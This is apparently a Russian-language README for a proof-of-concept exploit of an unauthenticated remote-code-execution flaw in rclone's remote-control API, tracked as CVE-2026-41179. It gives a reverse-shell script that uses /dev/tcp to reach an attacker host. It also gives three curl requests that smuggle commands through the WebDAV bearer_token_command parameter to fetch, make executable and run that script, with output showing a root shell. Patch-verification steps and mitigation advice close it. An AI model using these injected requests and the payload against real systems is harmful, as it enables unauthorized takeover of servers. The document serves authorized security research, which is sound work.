
PoC для CVE-2026-41179
⚠️ ТОЛЬКО В ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЯХ Этот репозиторий предназначен строго для исследований в области безопасности, образования и авторизованных лабораторных сред. PSSec и соавторы этого репозитория не одобряют, не поддерживают и не несут никакой ответственности за любое несанкционированное, незаконное или вредоносное использование информации, кода или методик, содержащихся здесь. Используя этот репозиторий, вы соглашаетесь с тем, что несете полную ответственность за свои действия и будете проводить тестирование только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение.
CVE-2026-41179 — это критическая уязвимость неаутентифицированного удаленного выполнения кода (RCE) во встроенном API удаленного управления (RC) rclone, затрагивающая версии с 1.48.0 по 1.73.4.
| Параметр | Значение |
|---|
| CVE | CVE-2026-41179 |
| Оценка CVSS | 9.8 (Критический) |
| Затронутые версии | rclone 1.48.0 – 1.73.4 |
| Исправленная версия | rclone 1.73.5 |
| Компонент | RC API (эндпоинт /operations/fsinfo) |
| Вектор атаки | Сеть — аутентификация не требуется |
rclone поставляется со встроенным HTTP-интерфейсом удаленного управления (rcd). Эндпоинт /operations/fsinfo принимает предоставленную пользователем строку fs=, которая анализируется и используется для создания бэкенда — включая бэкенд WebDAV. Бэкенд WebDAV поддерживает параметр bearer_token_command, который передается напрямую в exec.Command() без санитизации. Поскольку на этом эндпоинте по умолчанию не требуется аутентификация, неаутентифицированный злоумышленник может инициировать выполнение произвольных команд ОС от имени пользователя процесса rclone.
Цепочка атаки вкратце:
POST /operations/fsinfo (no auth)
→ rc.GetFs() parses attacker-controlled fs= string
→ WebDAV backend instantiated with attacker params
→ bearer_token_command extracted
→ exec.Command() fires OS command
→ RCE as rclone process user
CVE-2026-41179/
├── Dockerfile.rclone # Vulnerable rclone image (v1.69.3)
├── patched.Dockerfile.rclone # Patched rclone image (v1.73.5)
├── poc.sh # Reverse shell payload
└── instructions # Step-by-step lab walkthrough
netcatdocker build -t rclone-vuln -f Dockerfile.rclone .
Собирает контейнер на базе Debian-slim с запущенным rclone v1.69.3 и RC API, доступным на порту 5572.
docker run -d --name rclone-vuln -p 5572:5572 rclone-vuln
Теперь RC API доступен без аутентификации по адресу http://127.0.0.1:5572.
penelope -p 5555
# OR
nc -lvnp 5555
Отредактируйте poc.sh, указав IP атакующего и порт прослушивания:
#!/bin/bash
bash -i >& /dev/tcp/<attacker-ip>/<listening-port> 0>&1
Выполните эту команду из той же директории, где находится poc.sh:
python3 -m http.server 8888
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/usr/bin/curl -o /tmp/shell.sh http://<attacker-ip>:8888/poc.sh':'
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/bin/chmod +x /tmp/shell.sh':'
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/tmp/shell.sh':'
Проверьте ваш слушатель — вы должны получить root shell из контейнера:
[+] Got reverse shell from f7697b831050~172.17.0.3-Linux-x86_64
[+] Shell upgraded successfully using /usr/bin/script!
whoami
root
Повторите шаги 1–8, используя исправленный образ, чтобы убедиться, что уязвимость устранена:
docker build -t rclone-patched -f patched.Dockerfile.rclone .
docker run -d --name rclone-patched -p 5573:5572 rclone-patched
Отправьте тот же curl-запрос на порт 5573 — команда не должна выполниться.
rcd с флагами --rc-user и --rc-pass, чтобы требовать ввода учетных данных.5572) с помощью правил межсетевого экрана — он никогда не должен быть доступен из недоверенных сетей.--rc-no-auth=false (новое значение по умолчанию в исправленных версиях) в скриптах запуска.Этот репозиторий предоставлен только в образовательных целях и для авторизованных исследований в области безопасности. PoC-код демонстрирует реальную уязвимость в контролируемой лабораторной среде Docker.
PSSec и все соавторы:
Несанкционированное использование этого кода против производственных систем или систем, которыми вы не владеете, может нарушать законы о компьютерном мошенничестве и киберпреступлениях в вашей юрисдикции.
CVE-2026-41179 — Исследование: PSSec